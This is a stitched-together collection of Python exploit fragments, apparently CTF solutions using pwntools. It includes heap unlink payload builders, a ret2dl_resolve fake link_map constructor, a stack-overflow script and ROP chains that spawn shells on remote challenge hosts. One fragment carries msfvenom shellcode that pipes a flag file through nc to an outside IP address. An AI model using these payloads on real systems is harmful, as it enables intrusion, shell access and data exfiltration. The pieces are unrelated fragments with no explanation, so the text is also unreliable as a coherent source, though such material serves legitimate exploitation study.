def forward_consolidate(self): offset = self.offset target = self.target source = self.source if self.null_bytes is True: self.payload = fit({self.offset + 8: p64(1), self.offset + 16: p64(self.target-24), self.offset + 24: p64(self.source) }) else: self.payload = fit({self.offset - 32: p64(-16, signed=True), self.offset - 24: p64(-15, signed=True), self.offset - 16: p64(self.target-24), self.offset - 8: p64(self.source), self.offset: p64(-31, signed=True)*2 }) return self.payload
def backward_consolidate(self): if self.null_bytes is True: self.payload = fit({self.offset - 24: p64(0x21), self.offset - 16: p64(self.target-24), self.offset - 8: p64(self.source), self.offset: p64(0x20) + p64(0x10), self.offset + 16: p64(1)*2 }) else: self.payload = fit({self.offset - 32: p64(-15, signed=True)*2, self.offset - 16: p64(-15, signed=True)*2, self.offset: p64(-16, signed=True)*2, self.offset + 16: p64(-15, signed=True)*2, self.offset + 32: p64(self.target-24), self.offset + 40: p64(self.source) }) return self.payload
def amd64_offset(pointer_addr, addr_offset, ctrl_offset, ptr_writeable_offset, debug=False): """ amd64_offset(pointer_addr, addr_offset, ctrl_offset, ptr_writeable_offset) -> bytes construct payload for amd64 ret2dl_resolve attack. (calc function's addr by offset) Arguments: pointer_addr: an address of a pointer points to libc addr_offset: the offset between the target function and the pointer ctrl_offset: the offset between the start of controlable memory space and the pointer_addr ptr_writeable_offset: the offset between the pointer(not the address of the pointer!!!) and some writeable address (bypass write back in _dl_fixup) Returns: A: payload (write to (pointer_addr+ctrl_offset)) Examples: p1 = pf.ret2dl_resolve.amd64_offset(0x601028, 150608, 0x28, 0x3a38c0) p2 = flat(padding, pop_rdi_ret, binsh_addr, plt_0+8, fake_linkmap_addr, 0, main) """ if ctrl_offset > 0x68: puts("[amd64_offset] control offset is too big, try another pointer") return dynamic_entry_offset = 0x80 link_map = pwn.fit( { 0x68: pointer_addr + dynamic_entry_offset, # dynamic entry's addr for STRTAB 0x70: pointer_addr + dynamic_entry_offset, # dynamic entry's addr for SYMTAB 0xf8: pointer_addr + dynamic_entry_offset, # dynamic entry's addr for JMPREL dynamic_entry_offset: struct.pack("<QQ", 0, pointer_addr + dynamic_entry_offset + 0x10), dynamic_entry_offset + 0x10: struct.pack("<QQ", ptr_writeable_offset, (1 << 32) | 0x07), # Elf64_Rel dynamic_entry_offset + 0x10 + 0x18: struct.pack('<IBBHqq', 0, 0, 1, 0, addr_offset, 0), # Elf64_Sym }, filler='\0')[ctrl_offset:] if debug: print("link map : " + hex(pointer_addr)) print("strtab/symtab/jmprel : " + hex(pointer_addr + dynamic_entry_offset)) print("Elf64_Rel : " + hex(pointer_addr + dynamic_entry_offset + 0x10)) print("Elf64_Sym : " + hex(pointer_addr + dynamic_entry_offset + 0x28)) return link_map
def backward_consolidate(self): if self.null_bytes is True: self.payload = fit({ self.offset - 16: p32(9) * 2, self.offset - 8: p32(self.target - 12), self.offset - 4: p32(self.source), self.offset: p32(0x10) + p32(8), self.offset + 8: p32(1) * 2 }) else: self.payload = fit({ self.offset - 16: p32(-7, signed=True) * 2, self.offset - 8: p32(-7, signed=True) * 2, self.offset: p32(-8, signed=True) * 2, self.offset + 8: p32(-7, signed=True) * 2, self.offset + 16: p32(self.target - 12), self.offset + 20: p32(self.source) }) return self.payload
def forward_consolidate(self): offset = self.offset target = self.target source = self.source if self.null_bytes is True: self.payload = fit({ self.offset + 4: p32(1), self.offset + 8: p32(self.target - 8), self.offset + 12: p32(self.source) }) else: self.payload = fit({ self.offset - 20: p32(-16, signed=True), self.offset - 16: p32(-15, signed=True), self.offset - 12: p32(-3, signed=True), self.offset - 8: p32(self.target - 8), self.offset - 4: p32(self.source), self.offset + 4: p32(-15, signed=True) }) return self.payload
for bl in chain: block_code = nodes[bl].code succ = list(g.successors(bl)) if len(succ) != 0 and nodes[bl].missing: if len(succ) == 2: target = filter(lambda x: g.edges[bl, x]['dirr'] == 'right', succ)[0] else: target = succ[0] repr_size = nodes[bl].missing off_in_this = off_in_chain[bl] + len(block_code) + repr_size off_in_target = off_in_chain[target] off = -(piece_off + off_in_this) + ( m[piece[chain_no[target]]].as_long() + off_in_target) off = ctypes.c_ubyte( off).value if repr_size == 1 else ctypes.c_uint(off).value block_code += chr(off) if repr_size == 1 else p32(off) chain_code += block_code code_map[piece_off] = chain_code func_code = fit(code_map, filler='\x90') with open('traverse.bin', 'wb') as f: f.write(func_code) with open('traverse.code', 'w') as f: f.write(disasm(func_code, offset=True))
return p def send_payload(proc, payload): proc.sendlineafter("Please enter your string:", payload) def get_overflow_offset(): # It's problematic to create a core dump on an NTFS file system, # so reconfigure core dumps to be created elsewhere os.system("echo ~/core/core_dump > /proc/sys/kernel/core_pattern") proc = process(get_process_path()) payload = pwn.cyclic(100) send_payload(proc, payload) proc.wait() offset = pwn.cyclic_find(proc.corefile.rip, n=8) log.info("Overflow offset: {}".format(offset)) return offset e = ELF(get_process_path()) log.info("Address of win(): 0x{:02X}".format(e.symbols["win"])) offset = get_overflow_offset() p = get_process() #args.ssh_user) payload = pwn.fit({offset: e.symbols["win"]}) print(payload) send_payload(p, payload) print(p.recvall())
#!/usr/bin/python import pwn elf = pwn.ELF("smol") pwn.context.binary = elf pwn.context.terminal = "xterm" pl = pwn.Ret2dlresolvePayload(elf, "system", ["/bin/sh", 0]) rop = pwn.ROP(elf) rop.read(0, pl.data_addr) rop.ret2dlresolve(pl) print("%x" % pl.data_addr) chain = rop.chain() zob = b"A" * 12 + chain zob += b"\x00" * (512 - len(zob)) payload = pwn.fit(zob + pl.payload) """ p = pwn.process(["gdb", "smol"]) p.sendline("start") p.sendline("break *0x00007ffff7e05cf3") p.sendline("continue") #p = pwn.process("smol") """ p = pwn.remote("challenge.nahamcon.com", 31118) p.sendline(payload) p.interactive()
# sc += "\x05\xff\xe6" # msfvenom -p linux/x64/exec cmd="cat flag| nc 123.207.141.87 12345" -f python -v sc sc = "" sc += "\x6a\x3b\x58\x99\x48\xbb\x2f\x62\x69\x6e\x2f\x73\x68" sc += "\x00\x53\x48\x89\xe7\x68\x2d\x63\x00\x00\x48\x89\xe6" sc += "\x52\xe8\x22\x00\x00\x00\x63\x61\x74\x20\x66\x6c\x61" sc += "\x67\x7c\x20\x6e\x63\x20\x31\x32\x33\x2e\x32\x30\x37" sc += "\x2e\x31\x34\x31\x2e\x38\x37\x20\x31\x32\x33\x34\x35" sc += "\x00\x56\x57\x48\x89\xe6\x0f\x05" payload = fit( { 0x48: flat(canary), 0x58: flat(prdi, stack, prsi, 0x1000, prdx, 0x7, libc.sym['mprotect'], jrsp) }, filler='\0') payload += sc # raw_input("DEBUG: ") rop(payload) success("DONE") ''' 1. leak canary, stack address and libc.address using format string bug in router(); 2. with known canary and libc.address, we're able to ROP. 3. I just want to send my payload using requests.get(), so I make a mprotect(stack, 0x1000, 7) and using rop then jump to my shellcode. However, I've no idea why reverse_tcp shellcode failed. I guess it stucks in requests.get. Please kindly let me know if you know the answer. '''
import pwn pwn.context.binary = e = pwn.ELF("./resolve") # p = pwn.process("./resolve") p = pwn.remote("pwn.utctf.live", 5435) if pwn.args.GDB: pwn.gdb.attach( p, gdbscript=""" break *(&main+29) continue """, ) r = pwn.ROP(e) d = pwn.Ret2dlresolvePayload(e, symbol="system", args=["sh"]) r.raw(0x401159) # ret gadget to align stack r.gets(d.data_addr) r.ret2dlresolve(d) payload = pwn.fit({0x10: r.chain()}) + b"\n" + d.payload p.sendline(payload) p.interactive()